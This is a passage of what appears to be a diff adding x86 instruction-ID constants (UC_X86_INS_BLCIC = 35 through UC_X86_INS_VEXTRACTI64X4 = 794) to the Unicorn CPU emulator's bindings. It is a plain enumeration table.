UC_X86_INS_BLCIC = 35 + UC_X86_INS_BLCMSK = 36 + UC_X86_INS_BLCS = 37 + UC_X86_INS_BLENDPD = 38 + UC_X86_INS_BLENDPS = 39 + UC_X86_INS_BLENDVPD = 40 + UC_X86_INS_BLENDVPS = 41 + UC_X86_INS_BLSFILL = 42 + UC_X86_INS_BLSI = 43 + UC_X86_INS_BLSIC = 44 + UC_X86_INS_BLSMSK = 45 + UC_X86_INS_BLSR = 46 + UC_X86_INS_BOUND = 47 + UC_X86_INS_BSF = 48 + UC_X86_INS_BSR = 49 + UC_X86_INS_BSWAP = 50 + UC_X86_INS_BT = 51 + UC_X86_INS_BTC = 52 + UC_X86_INS_BTR = 53 + UC_X86_INS_BTS = 54 + UC_X86_INS_BZHI = 55 + UC_X86_INS_CALL = 56 + UC_X86_INS_CBW = 57 + UC_X86_INS_CDQ = 58 + UC_X86_INS_CDQE = 59 + UC_X86_INS_FCHS = 60 + UC_X86_INS_CLAC = 61 + UC_X86_INS_CLC = 62 + UC_X86_INS_CLD = 63 + UC_X86_INS_CLFLUSH = 64 + UC_X86_INS_CLFLUSHOPT = 65 + UC_X86_INS_CLGI = 66 + UC_X86_INS_CLI = 67 + UC_X86_INS_CLTS = 68 + UC_X86_INS_CLWB = 69 + UC_X86_INS_CMC = 70 + UC_X86_INS_CMOVA = 71 + UC_X86_INS_CMOVAE = 72 + UC_X86_INS_CMOVB = 73 + UC_X86_INS_CMOVBE = 74 + UC_X86_INS_FCMOVBE = 75 + UC_X86_INS_FCMOVB = 76 + UC_X86_INS_CMOVE = 77 + UC_X86_INS_FCMOVE = 78 + UC_X86_INS_CMOVG = 79 + UC_X86_INS_CMOVGE = 80 + UC_X86_INS_CMOVL = 81 + UC_X86_INS_CMOVLE = 82 + UC_X86_INS_FCMOVNBE = 83 + UC_X86_INS_FCMOVNB = 84 + UC_X86_INS_CMOVNE = 85 + UC_X86_INS_FCMOVNE = 86 + UC_X86_INS_CMOVNO = 87 + UC_X86_INS_CMOVNP = 88 + UC_X86_INS_FCMOVNU = 89 + UC_X86_INS_CMOVNS = 90 + UC_X86_INS_CMOVO = 91 + UC_X86_INS_CMOVP = 92 + UC_X86_INS_FCMOVU = 93 + UC_X86_INS_CMOVS = 94 + UC_X86_INS_CMP = 95 + UC_X86_INS_CMPPD = 96 + UC_X86_INS_CMPPS = 97 + UC_X86_INS_CMPSB = 98 + UC_X86_INS_CMPSD = 99 + UC_X86_INS_CMPSQ = 100 + UC_X86_INS_CMPSS = 101 + UC_X86_INS_CMPSW = 102 + UC_X86_INS_CMPXCHG16B = 103 + UC_X86_INS_CMPXCHG = 104 + UC_X86_INS_CMPXCHG8B = 105 + UC_X86_INS_COMISD = 106 + UC_X86_INS_COMISS = 107 + UC_X86_INS_FCOMP = 108 + UC_X86_INS_FCOMPI = 109 + UC_X86_INS_FCOMI = 110 + UC_X86_INS_FCOM = 111 + UC_X86_INS_FCOS = 112 + UC_X86_INS_CPUID = 113 + UC_X86_INS_CQO = 114 + UC_X86_INS_CRC32 = 115 + UC_X86_INS_CVTDQ2PD = 116 + UC_X86_INS_CVTDQ2PS = 117 + UC_X86_INS_CVTPD2DQ = 118 + UC_X86_INS_CVTPD2PS = 119 + UC_X86_INS_CVTPS2DQ = 120 + UC_X86_INS_CVTPS2PD = 121 + UC_X86_INS_CVTSD2SI = 122 + UC_X86_INS_CVTSD2SS = 123 + UC_X86_INS_CVTSI2SD = 124 + UC_X86_INS_CVTSI2SS = 125 + UC_X86_INS_CVTSS2SD = 126 + UC_X86_INS_CVTSS2SI = 127 + UC_X86_INS_CVTTPD2DQ = 128 + UC_X86_INS_CVTTPS2DQ = 129 + UC_X86_INS_CVTTSD2SI = 130 + UC_X86_INS_CVTTSS2SI = 131 + UC_X86_INS_CWD = 132 + UC_X86_INS_CWDE = 133 + UC_X86_INS_DAA = 134 + UC_X86_INS_DAS = 135 + UC_X86_INS_DATA16 = 136 + UC_X86_INS_DEC = 137 + UC_X86_INS_DIV = 138 + UC_X86_INS_DIVPD = 139 + UC_X86_INS_DIVPS = 140 + UC_X86_INS_FDIVR = 141 + UC_X86_INS_FIDIVR = 142 + UC_X86_INS_FDIVRP = 143 + UC_X86_INS_DIVSD = 144 + UC_X86_INS_DIVSS = 145 + UC_X86_INS_FDIV = 146 + UC_X86_INS_FIDIV = 147 + UC_X86_INS_FDIVP = 148 + UC_X86_INS_DPPD = 149 + UC_X86_INS_DPPS = 150 + UC_X86_INS_RET = 151 + UC_X86_INS_ENCLS = 152 + UC_X86_INS_ENCLU = 153 + UC_X86_INS_ENTER = 154 + UC_X86_INS_EXTRACTPS = 155 + UC_X86_INS_EXTRQ = 156 + UC_X86_INS_F2XM1 = 157 + UC_X86_INS_LCALL = 158 + UC_X86_INS_LJMP = 159 + UC_X86_INS_FBLD = 160 + UC_X86_INS_FBSTP = 161 + UC_X86_INS_FCOMPP = 162 + UC_X86_INS_FDECSTP = 163 + UC_X86_INS_FEMMS = 164 + UC_X86_INS_FFREE = 165 + UC_X86_INS_FICOM = 166 + UC_X86_INS_FICOMP = 167 + UC_X86_INS_FINCSTP = 168 + UC_X86_INS_FLDCW = 169 + UC_X86_INS_FLDENV = 170 + UC_X86_INS_FLDL2E = 171 + UC_X86_INS_FLDL2T = 172 + UC_X86_INS_FLDLG2 = 173 + UC_X86_INS_FLDLN2 = 174 + UC_X86_INS_FLDPI = 175 + UC_X86_INS_FNCLEX = 176 + UC_X86_INS_FNINIT = 177 + UC_X86_INS_FNOP = 178 + UC_X86_INS_FNSTCW = 179 + UC_X86_INS_FNSTSW = 180 + UC_X86_INS_FPATAN = 181 + UC_X86_INS_FPREM = 182 + UC_X86_INS_FPREM1 = 183 + UC_X86_INS_FPTAN = 184 + UC_X86_INS_FFREEP = 185 + UC_X86_INS_FRNDINT = 186 + UC_X86_INS_FRSTOR = 187 + UC_X86_INS_FNSAVE = 188 + UC_X86_INS_FSCALE = 189 + UC_X86_INS_FSETPM = 190 + UC_X86_INS_FSINCOS = 191 + UC_X86_INS_FNSTENV = 192 + UC_X86_INS_FXAM = 193 + UC_X86_INS_FXRSTOR = 194 + UC_X86_INS_FXRSTOR64 = 195 + UC_X86_INS_FXSAVE = 196 + UC_X86_INS_FXSAVE64 = 197 + UC_X86_INS_FXTRACT = 198 + UC_X86_INS_FYL2X = 199 + UC_X86_INS_FYL2XP1 = 200 + UC_X86_INS_MOVAPD = 201 + UC_X86_INS_MOVAPS = 202 + UC_X86_INS_ORPD = 203 + UC_X86_INS_ORPS = 204 + UC_X86_INS_VMOVAPD = 205 + UC_X86_INS_VMOVAPS = 206 + UC_X86_INS_XORPD = 207 + UC_X86_INS_XORPS = 208 + UC_X86_INS_GETSEC = 209 + UC_X86_INS_HADDPD = 210 + UC_X86_INS_HADDPS = 211 + UC_X86_INS_HLT = 212 + UC_X86_INS_HSUBPD = 213 + UC_X86_INS_HSUBPS = 214 + UC_X86_INS_IDIV = 215 + UC_X86_INS_FILD = 216 + UC_X86_INS_IMUL = 217 + UC_X86_INS_IN = 218 + UC_X86_INS_INC = 219 + UC_X86_INS_INSB = 220 + UC_X86_INS_INSERTPS = 221 + UC_X86_INS_INSERTQ = 222 + UC_X86_INS_INSD = 223 + UC_X86_INS_INSW = 224 + UC_X86_INS_INT = 225 + UC_X86_INS_INT1 = 226 + UC_X86_INS_INT3 = 227 + UC_X86_INS_INTO = 228 + UC_X86_INS_INVD = 229 + UC_X86_INS_INVEPT = 230 + UC_X86_INS_INVLPG = 231 + UC_X86_INS_INVLPGA = 232 + UC_X86_INS_INVPCID = 233 + UC_X86_INS_INVVPID = 234 + UC_X86_INS_IRET = 235 + UC_X86_INS_IRETD = 236 + UC_X86_INS_IRETQ = 237 + UC_X86_INS_FISTTP = 238 + UC_X86_INS_FIST = 239 + UC_X86_INS_FISTP = 240 + UC_X86_INS_UCOMISD = 241 + UC_X86_INS_UCOMISS = 242 + UC_X86_INS_VCOMISD = 243 + UC_X86_INS_VCOMISS = 244 + UC_X86_INS_VCVTSD2SS = 245 + UC_X86_INS_VCVTSI2SD = 246 + UC_X86_INS_VCVTSI2SS = 247 + UC_X86_INS_VCVTSS2SD = 248 + UC_X86_INS_VCVTTSD2SI = 249 + UC_X86_INS_VCVTTSD2USI = 250 + UC_X86_INS_VCVTTSS2SI = 251 + UC_X86_INS_VCVTTSS2USI = 252 + UC_X86_INS_VCVTUSI2SD = 253 + UC_X86_INS_VCVTUSI2SS = 254 + UC_X86_INS_VUCOMISD = 255 + UC_X86_INS_VUCOMISS = 256 + UC_X86_INS_JAE = 257 + UC_X86_INS_JA = 258 + UC_X86_INS_JBE = 259 + UC_X86_INS_JB = 260 + UC_X86_INS_JCXZ = 261 + UC_X86_INS_JECXZ = 262 + UC_X86_INS_JE = 263 + UC_X86_INS_JGE = 264 + UC_X86_INS_JG = 265 + UC_X86_INS_JLE = 266 + UC_X86_INS_JL = 267 + UC_X86_INS_JMP = 268 + UC_X86_INS_JNE = 269 + UC_X86_INS_JNO = 270 + UC_X86_INS_JNP = 271 + UC_X86_INS_JNS = 272 + UC_X86_INS_JO = 273 + UC_X86_INS_JP = 274 + UC_X86_INS_JRCXZ = 275 + UC_X86_INS_JS = 276 + UC_X86_INS_KANDB = 277 + UC_X86_INS_KANDD = 278 + UC_X86_INS_KANDNB = 279 + UC_X86_INS_KANDND = 280 + UC_X86_INS_KANDNQ = 281 + UC_X86_INS_KANDNW = 282 + UC_X86_INS_KANDQ = 283 + UC_X86_INS_KANDW = 284 + UC_X86_INS_KMOVB = 285 + UC_X86_INS_KMOVD = 286 + UC_X86_INS_KMOVQ = 287 + UC_X86_INS_KMOVW = 288 + UC_X86_INS_KNOTB = 289 + UC_X86_INS_KNOTD = 290 + UC_X86_INS_KNOTQ = 291 + UC_X86_INS_KNOTW = 292 + UC_X86_INS_KORB = 293 + UC_X86_INS_KORD = 294 + UC_X86_INS_KORQ = 295 + UC_X86_INS_KORTESTB = 296 + UC_X86_INS_KORTESTD = 297 + UC_X86_INS_KORTESTQ = 298 + UC_X86_INS_KORTESTW = 299 + UC_X86_INS_KORW = 300 + UC_X86_INS_KSHIFTLB = 301 + UC_X86_INS_KSHIFTLD = 302 + UC_X86_INS_KSHIFTLQ = 303 + UC_X86_INS_KSHIFTLW = 304 + UC_X86_INS_KSHIFTRB = 305 + UC_X86_INS_KSHIFTRD = 306 + UC_X86_INS_KSHIFTRQ = 307 + UC_X86_INS_KSHIFTRW = 308 + UC_X86_INS_KUNPCKBW = 309 + UC_X86_INS_KXNORB = 310 + UC_X86_INS_KXNORD = 311 + UC_X86_INS_KXNORQ = 312 + UC_X86_INS_KXNORW = 313 + UC_X86_INS_KXORB = 314 + UC_X86_INS_KXORD = 315 + UC_X86_INS_KXORQ = 316 + UC_X86_INS_KXORW = 317 + UC_X86_INS_LAHF = 318 + UC_X86_INS_LAR = 319 + UC_X86_INS_LDDQU = 320 + UC_X86_INS_LDMXCSR = 321 + UC_X86_INS_LDS = 322 + UC_X86_INS_FLDZ = 323 + UC_X86_INS_FLD1 = 324 + UC_X86_INS_FLD = 325 + UC_X86_INS_LEA = 326 + UC_X86_INS_LEAVE = 327 + UC_X86_INS_LES = 328 + UC_X86_INS_LFENCE = 329 + UC_X86_INS_LFS = 330 + UC_X86_INS_LGDT = 331 + UC_X86_INS_LGS = 332 + UC_X86_INS_LIDT = 333 + UC_X86_INS_LLDT = 334 + UC_X86_INS_LMSW = 335 + UC_X86_INS_OR = 336 + UC_X86_INS_SUB = 337 + UC_X86_INS_XOR = 338 + UC_X86_INS_LODSB = 339 + UC_X86_INS_LODSD = 340 + UC_X86_INS_LODSQ = 341 + UC_X86_INS_LODSW = 342 + UC_X86_INS_LOOP = 343 + UC_X86_INS_LOOPE = 344 + UC_X86_INS_LOOPNE = 345 + UC_X86_INS_RETF = 346 + UC_X86_INS_RETFQ = 347 + UC_X86_INS_LSL = 348 + UC_X86_INS_LSS = 349 + UC_X86_INS_LTR = 350 + UC_X86_INS_XADD = 351 + UC_X86_INS_LZCNT = 352 + UC_X86_INS_MASKMOVDQU = 353 + UC_X86_INS_MAXPD = 354 + UC_X86_INS_MAXPS = 355 + UC_X86_INS_MAXSD = 356 + UC_X86_INS_MAXSS = 357 + UC_X86_INS_MFENCE = 358 + UC_X86_INS_MINPD = 359 + UC_X86_INS_MINPS = 360 + UC_X86_INS_MINSD = 361 + UC_X86_INS_MINSS = 362 + UC_X86_INS_CVTPD2PI = 363 + UC_X86_INS_CVTPI2PD = 364 + UC_X86_INS_CVTPI2PS = 365 + UC_X86_INS_CVTPS2PI = 366 + UC_X86_INS_CVTTPD2PI = 367 + UC_X86_INS_CVTTPS2PI = 368 + UC_X86_INS_EMMS = 369 + UC_X86_INS_MASKMOVQ = 370 + UC_X86_INS_MOVD = 371 + UC_X86_INS_MOVDQ2Q = 372 + UC_X86_INS_MOVNTQ = 373 + UC_X86_INS_MOVQ2DQ = 374 + UC_X86_INS_MOVQ = 375 + UC_X86_INS_PABSB = 376 + UC_X86_INS_PABSD = 377 + UC_X86_INS_PABSW = 378 + UC_X86_INS_PACKSSDW = 379 + UC_X86_INS_PACKSSWB = 380 + UC_X86_INS_PACKUSWB = 381 + UC_X86_INS_PADDB = 382 + UC_X86_INS_PADDD = 383 + UC_X86_INS_PADDQ = 384 + UC_X86_INS_PADDSB = 385 + UC_X86_INS_PADDSW = 386 + UC_X86_INS_PADDUSB = 387 + UC_X86_INS_PADDUSW = 388 + UC_X86_INS_PADDW = 389 + UC_X86_INS_PALIGNR = 390 + UC_X86_INS_PANDN = 391 + UC_X86_INS_PAND = 392 + UC_X86_INS_PAVGB = 393 + UC_X86_INS_PAVGW = 394 + UC_X86_INS_PCMPEQB = 395 + UC_X86_INS_PCMPEQD = 396 + UC_X86_INS_PCMPEQW = 397 + UC_X86_INS_PCMPGTB = 398 + UC_X86_INS_PCMPGTD = 399 + UC_X86_INS_PCMPGTW = 400 + UC_X86_INS_PEXTRW = 401 + UC_X86_INS_PHADDSW = 402 + UC_X86_INS_PHADDW = 403 + UC_X86_INS_PHADDD = 404 + UC_X86_INS_PHSUBD = 405 + UC_X86_INS_PHSUBSW = 406 + UC_X86_INS_PHSUBW = 407 + UC_X86_INS_PINSRW = 408 + UC_X86_INS_PMADDUBSW = 409 + UC_X86_INS_PMADDWD = 410 + UC_X86_INS_PMAXSW = 411 + UC_X86_INS_PMAXUB = 412 + UC_X86_INS_PMINSW = 413 + UC_X86_INS_PMINUB = 414 + UC_X86_INS_PMOVMSKB = 415 + UC_X86_INS_PMULHRSW = 416 + UC_X86_INS_PMULHUW = 417 + UC_X86_INS_PMULHW = 418 + UC_X86_INS_PMULLW = 419 + UC_X86_INS_PMULUDQ = 420 + UC_X86_INS_POR = 421 + UC_X86_INS_PSADBW = 422 + UC_X86_INS_PSHUFB = 423 + UC_X86_INS_PSHUFW = 424 + UC_X86_INS_PSIGNB = 425 + UC_X86_INS_PSIGND = 426 + UC_X86_INS_PSIGNW = 427 + UC_X86_INS_PSLLD = 428 + UC_X86_INS_PSLLQ = 429 + UC_X86_INS_PSLLW = 430 + UC_X86_INS_PSRAD = 431 + UC_X86_INS_PSRAW = 432 + UC_X86_INS_PSRLD = 433 + UC_X86_INS_PSRLQ = 434 + UC_X86_INS_PSRLW = 435 + UC_X86_INS_PSUBB = 436 + UC_X86_INS_PSUBD = 437 + UC_X86_INS_PSUBQ = 438 + UC_X86_INS_PSUBSB = 439 + UC_X86_INS_PSUBSW = 440 + UC_X86_INS_PSUBUSB = 441 + UC_X86_INS_PSUBUSW = 442 + UC_X86_INS_PSUBW = 443 + UC_X86_INS_PUNPCKHBW = 444 + UC_X86_INS_PUNPCKHDQ = 445 + UC_X86_INS_PUNPCKHWD = 446 + UC_X86_INS_PUNPCKLBW = 447 + UC_X86_INS_PUNPCKLDQ = 448 + UC_X86_INS_PUNPCKLWD = 449 + UC_X86_INS_PXOR = 450 + UC_X86_INS_MONITOR = 451 + UC_X86_INS_MONTMUL = 452 + UC_X86_INS_MOV = 453 + UC_X86_INS_MOVABS = 454 + UC_X86_INS_MOVBE = 455 + UC_X86_INS_MOVDDUP = 456 + UC_X86_INS_MOVDQA = 457 + UC_X86_INS_MOVDQU = 458 + UC_X86_INS_MOVHLPS = 459 + UC_X86_INS_MOVHPD = 460 + UC_X86_INS_MOVHPS = 461 + UC_X86_INS_MOVLHPS = 462 + UC_X86_INS_MOVLPD = 463 + UC_X86_INS_MOVLPS = 464 + UC_X86_INS_MOVMSKPD = 465 + UC_X86_INS_MOVMSKPS = 466 + UC_X86_INS_MOVNTDQA = 467 + UC_X86_INS_MOVNTDQ = 468 + UC_X86_INS_MOVNTI = 469 + UC_X86_INS_MOVNTPD = 470 + UC_X86_INS_MOVNTPS = 471 + UC_X86_INS_MOVNTSD = 472 + UC_X86_INS_MOVNTSS = 473 + UC_X86_INS_MOVSB = 474 + UC_X86_INS_MOVSD = 475 + UC_X86_INS_MOVSHDUP = 476 + UC_X86_INS_MOVSLDUP = 477 + UC_X86_INS_MOVSQ = 478 + UC_X86_INS_MOVSS = 479 + UC_X86_INS_MOVSW = 480 + UC_X86_INS_MOVSX = 481 + UC_X86_INS_MOVSXD = 482 + UC_X86_INS_MOVUPD = 483 + UC_X86_INS_MOVUPS = 484 + UC_X86_INS_MOVZX = 485 + UC_X86_INS_MPSADBW = 486 + UC_X86_INS_MUL = 487 + UC_X86_INS_MULPD = 488 + UC_X86_INS_MULPS = 489 + UC_X86_INS_MULSD = 490 + UC_X86_INS_MULSS = 491 + UC_X86_INS_MULX = 492 + UC_X86_INS_FMUL = 493 + UC_X86_INS_FIMUL = 494 + UC_X86_INS_FMULP = 495 + UC_X86_INS_MWAIT = 496 + UC_X86_INS_NEG = 497 + UC_X86_INS_NOP = 498 + UC_X86_INS_NOT = 499 + UC_X86_INS_OUT = 500 + UC_X86_INS_OUTSB = 501 + UC_X86_INS_OUTSD = 502 + UC_X86_INS_OUTSW = 503 + UC_X86_INS_PACKUSDW = 504 + UC_X86_INS_PAUSE = 505 + UC_X86_INS_PAVGUSB = 506 + UC_X86_INS_PBLENDVB = 507 + UC_X86_INS_PBLENDW = 508 + UC_X86_INS_PCLMULQDQ = 509 + UC_X86_INS_PCMPEQQ = 510 + UC_X86_INS_PCMPESTRI = 511 + UC_X86_INS_PCMPESTRM = 512 + UC_X86_INS_PCMPGTQ = 513 + UC_X86_INS_PCMPISTRI = 514 + UC_X86_INS_PCMPISTRM = 515 + UC_X86_INS_PCOMMIT = 516 + UC_X86_INS_PDEP = 517 + UC_X86_INS_PEXT = 518 + UC_X86_INS_PEXTRB = 519 + UC_X86_INS_PEXTRD = 520 + UC_X86_INS_PEXTRQ = 521 + UC_X86_INS_PF2ID = 522 + UC_X86_INS_PF2IW = 523 + UC_X86_INS_PFACC = 524 + UC_X86_INS_PFADD = 525 + UC_X86_INS_PFCMPEQ = 526 + UC_X86_INS_PFCMPGE = 527 + UC_X86_INS_PFCMPGT = 528 + UC_X86_INS_PFMAX = 529 + UC_X86_INS_PFMIN = 530 + UC_X86_INS_PFMUL = 531 + UC_X86_INS_PFNACC = 532 + UC_X86_INS_PFPNACC = 533 + UC_X86_INS_PFRCPIT1 = 534 + UC_X86_INS_PFRCPIT2 = 535 + UC_X86_INS_PFRCP = 536 + UC_X86_INS_PFRSQIT1 = 537 + UC_X86_INS_PFRSQRT = 538 + UC_X86_INS_PFSUBR = 539 + UC_X86_INS_PFSUB = 540 + UC_X86_INS_PHMINPOSUW = 541 + UC_X86_INS_PI2FD = 542 + UC_X86_INS_PI2FW = 543 + UC_X86_INS_PINSRB = 544 + UC_X86_INS_PINSRD = 545 + UC_X86_INS_PINSRQ = 546 + UC_X86_INS_PMAXSB = 547 + UC_X86_INS_PMAXSD = 548 + UC_X86_INS_PMAXUD = 549 + UC_X86_INS_PMAXUW = 550 + UC_X86_INS_PMINSB = 551 + UC_X86_INS_PMINSD = 552 + UC_X86_INS_PMINUD = 553 + UC_X86_INS_PMINUW = 554 + UC_X86_INS_PMOVSXBD = 555 + UC_X86_INS_PMOVSXBQ = 556 + UC_X86_INS_PMOVSXBW = 557 + UC_X86_INS_PMOVSXDQ = 558 + UC_X86_INS_PMOVSXWD = 559 + UC_X86_INS_PMOVSXWQ = 560 + UC_X86_INS_PMOVZXBD = 561 + UC_X86_INS_PMOVZXBQ = 562 + UC_X86_INS_PMOVZXBW = 563 + UC_X86_INS_PMOVZXDQ = 564 + UC_X86_INS_PMOVZXWD = 565 + UC_X86_INS_PMOVZXWQ = 566 + UC_X86_INS_PMULDQ = 567 + UC_X86_INS_PMULHRW = 568 + UC_X86_INS_PMULLD = 569 + UC_X86_INS_POP = 570 + UC_X86_INS_POPAW = 571 + UC_X86_INS_POPAL = 572 + UC_X86_INS_POPCNT = 573 + UC_X86_INS_POPF = 574 + UC_X86_INS_POPFD = 575 + UC_X86_INS_POPFQ = 576 + UC_X86_INS_PREFETCH = 577 + UC_X86_INS_PREFETCHNTA = 578 + UC_X86_INS_PREFETCHT0 = 579 + UC_X86_INS_PREFETCHT1 = 580 + UC_X86_INS_PREFETCHT2 = 581 + UC_X86_INS_PREFETCHW = 582 + UC_X86_INS_PSHUFD = 583 + UC_X86_INS_PSHUFHW = 584 + UC_X86_INS_PSHUFLW = 585 + UC_X86_INS_PSLLDQ = 586 + UC_X86_INS_PSRLDQ = 587 + UC_X86_INS_PSWAPD = 588 + UC_X86_INS_PTEST = 589 + UC_X86_INS_PUNPCKHQDQ = 590 + UC_X86_INS_PUNPCKLQDQ = 591 + UC_X86_INS_PUSH = 592 + UC_X86_INS_PUSHAW = 593 + UC_X86_INS_PUSHAL = 594 + UC_X86_INS_PUSHF = 595 + UC_X86_INS_PUSHFD = 596 + UC_X86_INS_PUSHFQ = 597 + UC_X86_INS_RCL = 598 + UC_X86_INS_RCPPS = 599 + UC_X86_INS_RCPSS = 600 + UC_X86_INS_RCR = 601 + UC_X86_INS_RDFSBASE = 602 + UC_X86_INS_RDGSBASE = 603 + UC_X86_INS_RDMSR = 604 + UC_X86_INS_RDPMC = 605 + UC_X86_INS_RDRAND = 606 + UC_X86_INS_RDSEED = 607 + UC_X86_INS_RDTSC = 608 + UC_X86_INS_RDTSCP = 609 + UC_X86_INS_ROL = 610 + UC_X86_INS_ROR = 611 + UC_X86_INS_RORX = 612 + UC_X86_INS_ROUNDPD = 613 + UC_X86_INS_ROUNDPS = 614 + UC_X86_INS_ROUNDSD = 615 + UC_X86_INS_ROUNDSS = 616 + UC_X86_INS_RSM = 617 + UC_X86_INS_RSQRTPS = 618 + UC_X86_INS_RSQRTSS = 619 + UC_X86_INS_SAHF = 620 + UC_X86_INS_SAL = 621 + UC_X86_INS_SALC = 622 + UC_X86_INS_SAR = 623 + UC_X86_INS_SARX = 624 + UC_X86_INS_SBB = 625 + UC_X86_INS_SCASB = 626 + UC_X86_INS_SCASD = 627 + UC_X86_INS_SCASQ = 628 + UC_X86_INS_SCASW = 629 + UC_X86_INS_SETAE = 630 + UC_X86_INS_SETA = 631 + UC_X86_INS_SETBE = 632 + UC_X86_INS_SETB = 633 + UC_X86_INS_SETE = 634 + UC_X86_INS_SETGE = 635 + UC_X86_INS_SETG = 636 + UC_X86_INS_SETLE = 637 + UC_X86_INS_SETL = 638 + UC_X86_INS_SETNE = 639 + UC_X86_INS_SETNO = 640 + UC_X86_INS_SETNP = 641 + UC_X86_INS_SETNS = 642 + UC_X86_INS_SETO = 643 + UC_X86_INS_SETP = 644 + UC_X86_INS_SETS = 645 + UC_X86_INS_SFENCE = 646 + UC_X86_INS_SGDT = 647 + UC_X86_INS_SHA1MSG1 = 648 + UC_X86_INS_SHA1MSG2 = 649 + UC_X86_INS_SHA1NEXTE = 650 + UC_X86_INS_SHA1RNDS4 = 651 + UC_X86_INS_SHA256MSG1 = 652 + UC_X86_INS_SHA256MSG2 = 653 + UC_X86_INS_SHA256RNDS2 = 654 + UC_X86_INS_SHL = 655 + UC_X86_INS_SHLD = 656 + UC_X86_INS_SHLX = 657 + UC_X86_INS_SHR = 658 + UC_X86_INS_SHRD = 659 + UC_X86_INS_SHRX = 660 + UC_X86_INS_SHUFPD = 661 + UC_X86_INS_SHUFPS = 662 + UC_X86_INS_SIDT = 663 + UC_X86_INS_FSIN = 664 + UC_X86_INS_SKINIT = 665 + UC_X86_INS_SLDT = 666 + UC_X86_INS_SMSW = 667 + UC_X86_INS_SQRTPD = 668 + UC_X86_INS_SQRTPS = 669 + UC_X86_INS_SQRTSD = 670 + UC_X86_INS_SQRTSS = 671 + UC_X86_INS_FSQRT = 672 + UC_X86_INS_STAC = 673 + UC_X86_INS_STC = 674 + UC_X86_INS_STD = 675 + UC_X86_INS_STGI = 676 + UC_X86_INS_STI = 677 + UC_X86_INS_STMXCSR = 678 + UC_X86_INS_STOSB = 679 + UC_X86_INS_STOSD = 680 + UC_X86_INS_STOSQ = 681 + UC_X86_INS_STOSW = 682 + UC_X86_INS_STR = 683 + UC_X86_INS_FST = 684 + UC_X86_INS_FSTP = 685 + UC_X86_INS_FSTPNCE = 686 + UC_X86_INS_FXCH = 687 + UC_X86_INS_SUBPD = 688 + UC_X86_INS_SUBPS = 689 + UC_X86_INS_FSUBR = 690 + UC_X86_INS_FISUBR = 691 + UC_X86_INS_FSUBRP = 692 + UC_X86_INS_SUBSD = 693 + UC_X86_INS_SUBSS = 694 + UC_X86_INS_FSUB = 695 + UC_X86_INS_FISUB = 696 + UC_X86_INS_FSUBP = 697 + UC_X86_INS_SWAPGS = 698 + UC_X86_INS_SYSCALL = 699 + UC_X86_INS_SYSENTER = 700 + UC_X86_INS_SYSEXIT = 701 + UC_X86_INS_SYSRET = 702 + UC_X86_INS_T1MSKC = 703 + UC_X86_INS_TEST = 704 + UC_X86_INS_UD2 = 705 + UC_X86_INS_FTST = 706 + UC_X86_INS_TZCNT = 707 + UC_X86_INS_TZMSK = 708 + UC_X86_INS_FUCOMPI = 709 + UC_X86_INS_FUCOMI = 710 + UC_X86_INS_FUCOMPP = 711 + UC_X86_INS_FUCOMP = 712 + UC_X86_INS_FUCOM = 713 + UC_X86_INS_UD2B = 714 + UC_X86_INS_UNPCKHPD = 715 + UC_X86_INS_UNPCKHPS = 716 + UC_X86_INS_UNPCKLPD = 717 + UC_X86_INS_UNPCKLPS = 718 + UC_X86_INS_VADDPD = 719 + UC_X86_INS_VADDPS = 720 + UC_X86_INS_VADDSD = 721 + UC_X86_INS_VADDSS = 722 + UC_X86_INS_VADDSUBPD = 723 + UC_X86_INS_VADDSUBPS = 724 + UC_X86_INS_VAESDECLAST = 725 + UC_X86_INS_VAESDEC = 726 + UC_X86_INS_VAESENCLAST = 727 + UC_X86_INS_VAESENC = 728 + UC_X86_INS_VAESIMC = 729 + UC_X86_INS_VAESKEYGENASSIST = 730 + UC_X86_INS_VALIGND = 731 + UC_X86_INS_VALIGNQ = 732 + UC_X86_INS_VANDNPD = 733 + UC_X86_INS_VANDNPS = 734 + UC_X86_INS_VANDPD = 735 + UC_X86_INS_VANDPS = 736 + UC_X86_INS_VBLENDMPD = 737 + UC_X86_INS_VBLENDMPS = 738 + UC_X86_INS_VBLENDPD = 739 + UC_X86_INS_VBLENDPS = 740 + UC_X86_INS_VBLENDVPD = 741 + UC_X86_INS_VBLENDVPS = 742 + UC_X86_INS_VBROADCASTF128 = 743 + UC_X86_INS_VBROADCASTI32X4 = 744 + UC_X86_INS_VBROADCASTI64X4 = 745 + UC_X86_INS_VBROADCASTSD = 746 + UC_X86_INS_VBROADCASTSS = 747 + UC_X86_INS_VCMPPD = 748 + UC_X86_INS_VCMPPS = 749 + UC_X86_INS_VCMPSD = 750 + UC_X86_INS_VCMPSS = 751 + UC_X86_INS_VCOMPRESSPD = 752 + UC_X86_INS_VCOMPRESSPS = 753 + UC_X86_INS_VCVTDQ2PD = 754 + UC_X86_INS_VCVTDQ2PS = 755 + UC_X86_INS_VCVTPD2DQX = 756 + UC_X86_INS_VCVTPD2DQ = 757 + UC_X86_INS_VCVTPD2PSX = 758 + UC_X86_INS_VCVTPD2PS = 759 + UC_X86_INS_VCVTPD2UDQ = 760 + UC_X86_INS_VCVTPH2PS = 761 + UC_X86_INS_VCVTPS2DQ = 762 + UC_X86_INS_VCVTPS2PD = 763 + UC_X86_INS_VCVTPS2PH = 764 + UC_X86_INS_VCVTPS2UDQ = 765 + UC_X86_INS_VCVTSD2SI = 766 + UC_X86_INS_VCVTSD2USI = 767 + UC_X86_INS_VCVTSS2SI = 768 + UC_X86_INS_VCVTSS2USI = 769 + UC_X86_INS_VCVTTPD2DQX = 770 + UC_X86_INS_VCVTTPD2DQ = 771 + UC_X86_INS_VCVTTPD2UDQ = 772 + UC_X86_INS_VCVTTPS2DQ = 773 + UC_X86_INS_VCVTTPS2UDQ = 774 + UC_X86_INS_VCVTUDQ2PD = 775 + UC_X86_INS_VCVTUDQ2PS = 776 + UC_X86_INS_VDIVPD = 777 + UC_X86_INS_VDIVPS = 778 + UC_X86_INS_VDIVSD = 779 + UC_X86_INS_VDIVSS = 780 + UC_X86_INS_VDPPD = 781 + UC_X86_INS_VDPPS = 782 + UC_X86_INS_VERR = 783 + UC_X86_INS_VERW = 784 + UC_X86_INS_VEXP2PD = 785 + UC_X86_INS_VEXP2PS = 786 + UC_X86_INS_VEXPANDPD = 787 + UC_X86_INS_VEXPANDPS = 788 + UC_X86_INS_VEXTRACTF128 = 789 + UC_X86_INS_VEXTRACTF32X4 = 790 + UC_X86_INS_VEXTRACTF64X4 = 791 + UC_X86_INS_VEXTRACTI128 = 792 + UC_X86_INS_VEXTRACTI32X4 = 793 + UC_X86_INS_VEXTRACTI64X4 = 794 + 